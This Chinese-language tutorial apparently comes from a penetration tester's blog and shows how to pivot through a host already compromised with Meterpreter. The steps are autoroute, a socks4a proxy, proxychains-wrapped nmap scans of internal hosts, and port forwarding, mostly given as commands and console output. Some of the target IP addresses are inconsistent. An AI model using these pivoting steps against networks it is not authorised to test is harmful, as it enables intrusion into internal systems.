Metasploit使用内网跳板, 扫描局域网主机
最近,拿到一台内网机器, 苦于无法使用nmap扫描改主机的内网, 所以才有此文
在跳板机子获取一定权限后,需要积极的向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的meterpreter后门,可以使系列的操作更容易。
使用Meterpreter 内置的添加路由功能
获取路由信息
run get_local_subnets
自动添加路由
run post/multi/manage/autoroute
/*
或者使用 run autoroute -s 10.0.0.0 -n 255.0.0.0
-s 参数为网关 -n 参数为只掩码
*/
查看路由信息
run autoroute -p
虽然路由表已经添加了, 但是我们直接ping 内网的主机是没法ping通的
通过跳板使用NMAP
为了实现nmap扫描,metasploit中的路由配置需要被激活,并且需要通过socks4代理进行流量转发。Metasploit中存在这样的模块满足需求。
使用Metasploit中的socks4代理模块:
meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set srvhost 192.168.1.11 srvhost => 192.168.1.11 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp 0 172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby msf auxiliary(socks4a) >
使用proxychains 代理转发
使用GNU\Linux操作系统内置的ProxyChains工具,任何TCP连接都能通过TOR、SCOKS4、SOCKS、HTTP/HTTPS等代理方式进行转发。在这项隧道技术中,可以嵌套多层代理。除了提供匿名性以外,如跳板机这样的利用也能实现向隔离的内部网络导入流量。
使用编辑器在文件/etc/proxychains.conf的最后一行加入socks4代理的配置信息。
--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" #socks4 127.0.0.1 9050 socks4 192.168.1.11 1080
通过proxychains执行nmap扫描是一个简单的操作。流量包会通过定义的代理端口被导入到目标网络.
root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 192.168.100.199ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 04:17 EDT |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:22-<><>-OK |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:80-<><>-OK |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:445-<--timeout |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:135-<--timeout |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:139-<--timeout |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:22-<><>-OK |S-chain|-<>-192.168.1.11:1080-<><>-192.168.100.199:80-
可以看到192.168.100.199开启了web服务, 我们直接在浏览器中配置firefox代理(192.168.1.11 1080), 直接访问web服务:
端口重定向
此前通过nmap和proxychains,我们已经发现192.168.100.99的主机时在TCP 80端口运行了web服务。为了能够访问这个服务,本地系统的2323端口应该被路由至192.168.100.99的80端口.
meterpreter > portfwd add -L 192.168.1.11 -l 2323 -p 80 -r 192.168.100.99 [*] Local TCP relay created: 192.168.1.11:2323 <-> 192.168.100.99:80 meterpreter > portfwd Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 192.168.1.11:2323 192.168.100.99:80 Forward 1 total active port forwards.
总的来说很卡。。。
参考
内网渗透随想 http://www.91ri.org/14390.html
通过双重跳板漫游隔离内网 https://xz.aliyun.com/t/249